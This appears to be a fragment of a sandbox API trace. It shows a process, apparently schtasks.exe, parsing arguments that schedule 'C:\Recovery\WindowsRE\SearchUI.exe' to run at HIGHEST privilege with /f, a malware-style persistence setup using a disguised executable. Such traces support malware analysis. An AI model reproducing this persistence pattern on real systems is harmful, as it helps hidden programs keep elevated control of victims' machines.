RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] lstrlenW (lpString="/tr") returned 3 [0126.692] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] lstrlenW (lpString="/tr") returned 3 [0126.692] GetProcessHeap () returned 0x1769e910000 [0126.692] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x8) returned 0x1769e914790 [0126.692] GetProcessHeap () returned 0x1769e910000 [0126.692] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b890 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.692] lstrlenW (lpString="-/") returned 2 [0126.692] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.692] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0126.692] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.692] GetProcessHeap () returned 0x1769e910000 [0126.692] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e9147b0 [0126.692] _memicmp (_Buf1=0x1769e9147b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.692] GetProcessHeap () returned 0x1769e910000 [0126.692] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e91a8e0 [0126.692] GetProcessHeap () returned 0x1769e910000 [0126.692] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e91a9a0 [0126.693] _memicmp (_Buf1=0x1769e91a9a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.693] GetProcessHeap () returned 0x1769e910000 [0126.693] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x4c) returned 0x1769e913b40 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] lstrlenW (lpString="'C") returned 2 [0126.693] lstrlenW (lpString="-/") returned 2 [0126.693] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.693] GetProcessHeap () returned 0x1769e910000 [0126.693] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x4a) returned 0x1769e913ba0 [0126.693] GetProcessHeap () returned 0x1769e910000 [0126.693] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b5c0 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.693] lstrlenW (lpString="/rl") returned 3 [0126.693] lstrlenW (lpString="-/") returned 2 [0126.693] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.693] lstrlenW (lpString="?") returned 1 [0126.693] lstrlenW (lpString="?") returned 1 [0126.693] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.693] lstrlenW (lpString="rl") returned 2 [0126.693] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.693] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.693] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.693] lstrlenW (lpString="|?|") returned 3 [0126.693] lstrlenW (lpString="|rl|") returned 4 [0126.694] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.694] lstrlenW (lpString="create") returned 6 [0126.694] lstrlenW (lpString="create") returned 6 [0126.694] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.694] lstrlenW (lpString="rl") returned 2 [0126.694] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.694] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.694] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.694] lstrlenW (lpString="|create|") returned 8 [0126.694] lstrlenW (lpString="|rl|") returned 4 [0126.694] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0126.694] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.694] lstrlenW (lpString="delete") returned 6 [0126.694] lstrlenW (lpString="delete") returned 6 [0126.694] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.694] lstrlenW (lpString="rl") returned 2 [0126.694] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.694] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.694] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.694] lstrlenW (lpString="|delete|") returned 8 [0126.694] lstrlenW (lpString="|rl|") returned 4 [0126.694] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0126.694] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.694] lstrlenW (lpString="query") returned 5 [0126.694] lstrlenW (lpString="query") returned 5 [0126.694] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.694] lstrlenW (lpString="rl") returned 2 [0126.694] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.695] lstrlenW (lpString="|query|") returned 7 [0126.695] lstrlenW (lpString="|rl|") returned 4 [0126.695] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0126.695] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.695] lstrlenW (lpString="change") returned 6 [0126.695] lstrlenW (lpString="change") returned 6 [0126.695] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.695] lstrlenW (lpString="rl") returned 2 [0126.695] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.695] lstrlenW (lpString="|change|") returned 8 [0126.695] lstrlenW (lpString="|rl|") returned 4 [0126.695] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0126.695] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.695] lstrlenW (lpString="run") returned 3 [0126.695] lstrlenW (lpString="run") returned 3 [0126.695] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.695] lstrlenW (lpString="rl") returned 2 [0126.695] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.695] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.695] lstrlenW (lpString="|run|") returned 5 [0126.695] lstrlenW (lpString="|rl|") returned 4 [0126.695] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.696] lstrlenW (lpString="end") returned 3 [0126.696] lstrlenW (lpString="end") returned 3 [0126.696] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.696] lstrlenW (lpString="rl") returned 2 [0126.696] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.696] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.696] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.696] lstrlenW (lpString="|end|") returned 5 [0126.696] lstrlenW (lpString="|rl|") returned 4 [0126.696] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.696] lstrlenW (lpString="showsid") returned 7 [0126.696] lstrlenW (lpString="showsid") returned 7 [0126.696] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.696] lstrlenW (lpString="rl") returned 2 [0126.696] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.696] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.696] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|rl|") returned 4 [0126.696] lstrlenW (lpString="|showsid|") returned 9 [0126.696] lstrlenW (lpString="|rl|") returned 4 [0126.696] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.696] lstrlenW (lpString="/rl") returned 3 [0126.696] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0126.696] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] lstrlenW (lpString="/rl") returned 3 [0126.697] GetProcessHeap () returned 0x1769e910000 [0126.697] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x8) returned 0x1769e913c00 [0126.697] GetProcessHeap () returned 0x1769e910000 [0126.697] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b380 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] lstrlenW (lpString="HIGHEST") returned 7 [0126.697] lstrlenW (lpString="-/") returned 2 [0126.697] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] lstrlenW (lpString="HIGHEST") returned 7 [0126.697] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] lstrlenW (lpString="HIGHEST") returned 7 [0126.697] GetProcessHeap () returned 0x1769e910000 [0126.697] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x10) returned 0x1769e91a900 [0126.697] GetProcessHeap () returned 0x1769e910000 [0126.697] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b950 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.697] lstrlenW (lpString="/f") returned 2 [0126.697] lstrlenW (lpString="-/") returned 2 [0126.697] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.697] lstrlenW (lpString="?") returned 1 [0126.697] lstrlenW (lpString="?") returned 1 [0126.697] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] lstrlenW (lpString="f") returned 1 [0126.698] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.698] lstrlenW (lpString="|?|") returned 3 [0126.698] lstrlenW (lpString="|f|") returned 3 [0126.698] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0126.698] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.698] lstrlenW (lpString="create") returned 6 [0126.698] lstrlenW (lpString="create") returned 6 [0126.698] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] lstrlenW (lpString="f") returned 1 [0126.698] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.698] lstrlenW (lpString="|create|") returned 8 [0126.698] lstrlenW (lpString="|f|") returned 3 [0126.698] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0126.698] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.698] lstrlenW (lpString="delete") returned 6 [0126.698] lstrlenW (lpString="delete") returned 6 [0126.698] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] lstrlenW (lpString="f") returned 1 [0126.698] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.698] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.698] lstrlenW (lpString="|delete|") returned 8 [0126.699] lstrlenW (lpString="|f|") returned 3 [0126.699] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0126.699] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.699] lstrlenW (lpString="query") returned 5 [0126.699] lstrlenW (lpString="query") returned 5 [0126.699] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.699] lstrlenW (lpString="f") returned 1 [0126.699] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.699] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.699] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.699] lstrlenW (lpString="|query|") returned 7 [0126.699] lstrlenW (lpString="|f|") returned 3 [0126.699] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0126.699] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.699] lstrlenW (lpString="change") returned 6 [0126.699] lstrlenW (lpString="change") returned 6 [0126.699] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.699] lstrlenW (lpString="f") returned 1 [0126.699] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.699] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.699] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.699] lstrlenW (lpString="|change|") returned 8 [0126.699] lstrlenW (lpString="|f|") returned 3 [0126.700] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0126.700] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.701] lstrlenW (lpString="run") returned 3 [0126.701] lstrlenW (lpString="run") returned 3 [0126.701] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.701] lstrlenW (lpString="f") returned 1 [0126.701] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.701] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.701] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.701] lstrlenW (lpString="|run|") returned 5 [0126.701] lstrlenW (lpString="|f|") returned 3 [0126.701] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0126.701] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.701] lstrlenW (lpString="end") returned 3 [0126.701] lstrlenW (lpString="end") returned 3 [0126.701] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.701] lstrlenW (lpString="f") returned 1 [0126.701] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.701] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.701] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.701] lstrlenW (lpString="|end|") returned 5 [0126.701] lstrlenW (lpString="|f|") returned 3 [0126.701] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0126.701] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.701] lstrlenW (lpString="showsid") returned 7 [0126.701] lstrlenW (lpString="showsid") returned 7 [0126.701] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.701] lstrlenW (lpString="f") returned 1 [0126.701] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.702] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.702] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|f|") returned 3 [0126.702] lstrlenW (lpString="|showsid|") returned 9 [0126.702] lstrlenW (lpString="|f|") returned 3 [0126.702] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] lstrlenW (lpString="/f") returned 2 [0126.702] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] lstrlenW (lpString="/f") returned 2 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x6) returned 0x1769e913c20 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b5f0 [0126.702] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914370) returned 1 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914370) returned 0x8 [0126.702] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914370) returned 1 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91bb00) returned 1 [0126.702] GetProcessHeap () returned 0x1769e910000 [0126.702] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91bb00) returned 0x20 [0126.703] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91bb00) returned 1 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9146f0) returned 1 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9146f0) returned 0x14 [0126.703] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9146f0) returned 1 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91bad0) returned 1 [0126.703] GetProcessHeap () returned 0x1769e910000 [0126.703] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91bad0) returned 0x20 [0126.704] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91bad0) returned 1 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914710) returned 1 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914710) returned 0x8 [0126.704] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914710) returned 1 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b9e0) returned 1 [0126.704] GetProcessHeap () returned 0x1769e910000 [0126.704] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b9e0) returned 0x20 [0126.705] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b9e0) returned 1 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914730) returned 1 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914730) returned 0xe [0126.705] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914730) returned 1 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b470) returned 1 [0126.705] GetProcessHeap () returned 0x1769e910000 [0126.705] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b470) returned 0x20 [0126.706] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b470) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914750) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914750) returned 0x8 [0126.706] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914750) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b920) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b920) returned 0x20 [0126.706] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b920) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.706] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914770) returned 1 [0126.706] GetProcessHeap () returned 0x1769e910000 [0126.707] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914770) returned 0x4 [0126.707] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914770) returned 1 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b980) returned 1 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b980) returned 0x20 [0126.707] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b980) returned 1 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914790) returned 1 [0126.707] GetProcessHeap () returned 0x1769e910000 [0126.707] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914790) returned 0x8 [0126.708] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914790) returned 1 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b890) returned 1 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b890) returned 0x20 [0126.708] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b890) returned 1 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913ba0) returned 1 [0126.708] GetProcessHeap () returned 0x1769e910000 [0126.708] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913ba0) returned 0x4a [0126.709] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913ba0) returned 1 